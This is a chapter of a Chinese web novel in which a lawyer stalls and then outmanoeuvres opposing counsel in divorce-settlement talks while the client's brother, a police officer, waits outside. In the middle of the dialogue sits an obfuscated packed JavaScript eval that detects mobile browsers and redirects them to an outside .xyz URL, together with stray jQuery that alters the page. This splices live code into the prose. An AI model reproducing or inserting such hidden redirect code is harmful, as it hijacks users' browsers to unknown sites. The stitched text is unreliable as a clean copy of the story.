“姐,怎么了?”连善欢接起姐姐的电话。
连良欢前一阵一直有些低落,连善欢便让她回父母家住了一段时间,现在看起来已经恢复很多了,情绪听上去没有太大的波动。
她的声音很平静:“善欢,没什么事,就是刚刚饶律师打电话跟我说叶沛新的律师打算跟他谈和解,问了一下我的意见。”
“那你怎么想的?”
“我也不懂,我说都听饶律师的。”连良欢补充道:“饶律师说让他先去跟对方谈谈,试探一下对方的底线,我就同意了。”
“嗯,听饶律师的总不会错。”连善欢思忖片刻,问姐姐:“饶律师有说他们约的什么时候吗?”
“就今天下午,约在他们律所,他让我也去听听看,不过我今天下午有事情去不了。而且我觉得饶律师挺靠谱的,我不在应该也问题不大。”
连善欢附和了一句,然后就挂了电话。
Arg律所。
“饶律师,叶沛新的律师已经在会议室等您半个小时了。”蓝凡音以为饶温清是忙忘了,过来提示道。
却没想到饶温清是故意的,他毫不在乎地说:“让他再等二十分钟,说我在忙。”
蓝凡音无法,只能独自去会议室面对那位耐心全无的律师。
二十分钟后,饶温清终于踏进了会议室,假装没看见里面的人已经面色铁青,带着歉意地要跟他握手:“真是抱歉啊朱律师,我这边刚刚实在是走不开,让你久等了。”
“哼!”对方很不给面地冷哼一声,也没握饶温清的手,语气很气愤:“约三点的也是你,迟到近一个小时的也是你,饶律师,我倒是没见识过这么不守时的律师。”
“哈,确实是临时有事,真的很抱歉。”饶温清不甚介意地收回手,打着哈哈,又聪明地转移话题:“不过朱律师,就像你所说的,时间宝贵,我们还是不要在这种小事上多做停留了吧,正事要紧。”
朱石心中有气,但也明白这是饶温清的地盘,自己也不好发作,只得坐下跟他谈正事。
连善欢也没想明白自己跑到饶温清的律所是为了什么,只不过这么久以来,姐姐的案子有什么进展饶温清都是打电话跟他说,再由他去转告姐姐。但这次他却绕过了自己,直接找了连良欢,他觉得有些奇怪。
虽然律师直接和当事人联系是非常正常的事情,这显然也比通过他去联系省事多了,但连善欢就是总觉得有那么点……不爽。
“我就是过来把个关,关心一下姐姐的事而已。”连善欢给自己找了个合理的理由,然后就安心地踏进了律所。
前台依旧是那个漂亮小姑娘,也依旧是那句话:“请问您有预约吗?”
该死,又忘了这茬。
连善欢思考着该怎么告诉这位前台小姐姐,自己过来找饶温清的目的,但怎么组织语言都感觉不太对劲。
蓝凡音正好过来前台取快递,见到连善欢在这有些惊讶,询问道:“连警官,你是来找饶律师的吗?”
看见是饶温清的助理,连善欢忙点头称是。
“饶律师现在在跟朱律师谈事情,你要不要进去等一会?”
这不正中下怀嘛,连善欢感激地说:“好啊,多谢。”
于是连善欢就坐在会议室外面的沙发等着,百无聊赖地玩着消消乐,怡然自得。
此时会议室里的两位律师却是暗潮汹涌。
“只要你们同意协议离婚,我们这边赔偿金可以额外增加两成。”朱石经过刚刚的一阵口舌之争已经有些败下风来。
“朱律师,你们这样有点不把我饶某人放在眼里了吧?你方当事人动产、不动产加起来身家过亿,协议离婚只愿意给我当事人赔偿金三千万,就算我的当事人愿意我也不可能同意的。”饶温清举重若轻,非常淡定。
“饶律师,你别得寸进尺!三千万对于一个女人来说,过完下半生都绰绰有余,你到底还想怎样?”朱石开始冒冷汗。
饶温清身体往前倾,紧紧盯着朱石,给他施加心理压力:“很简单,要让我们同意协议离婚的话,赔偿金再翻一番。”
朱石震惊:“六千万?你疯了吗?你这是狮子大开口!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15372945|168204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“朱律师别急嘛,我还没说完呢,”饶温清看他神色如此慌张就知道对方根本没有筹码:“不止是赔偿金,孩子的抚养权也要归我方当事人。”
“这不可能!饶律师你别欺人太甚!”朱石就没见过人家谈判敢这么不留余地的。
“哦?朱律师,你确定不好好考虑考虑?等我们法庭上见的时候,可就不止这个数了哦。”饶温清嘴角带笑。
朱石听出他的弦外之音,忍不住皱眉:“你们是不是有什么筹码?”
“朱律师觉得我会漏牌吗?”饶温清好笑地看着他,他玩的不过是心理战术:“倒是你们这么着急要和解,是不是有什么不可见人的秘密?”
朱石自然是清楚叶沛新那些勾当,今天就是为了掩盖他的罪行,免了他的牢狱之灾才过来谈判的。
本来他想着饶温清多少会留点情面,未曾想最初等的一个小时磨灭了他的耐心,导致从一开始就自乱阵脚,才这让饶温清如此咄咄逼人。
但他这会儿反应过来也晚了,他掏出自己的手帕擦擦额头的冷汗,眼神乱飘,脑中迅速思考着到底该怎么应对。
可惜他最终也没想到什么办法,他很清楚现在最好的结果就是答应饶温清的要求,所以他只能打道回府跟叶沛新商议。
“饶律师,我会回去和我方当事人商量,但我还是希望你能明白做人留一线的道理。”朱石站起来,拿起公文包夹在腰侧,这意思就是要走了。
于是饶温清客气地站起来:“朱律师慢走,下次见。”
说完他还温柔地笑了笑,让朱石彻底黑了脸。
但他现在处于劣势,所以还是毕恭毕敬地伸手跟饶温清告别,不好在饶温清大气,并没有计较他之前的不敬,还是礼貌地握了握他的手。
等朱石走了之后,饶温清也拿起自己的资料往外走,没想到一出来会看见沙发上坐得很不规矩的人。
连善欢玩手机玩得实在无聊,而且这个单人沙发坐着实在不舒服,后来就演变成他的双脚搁在沙发扶手上,背靠着另一边扶手的姿势玩手机。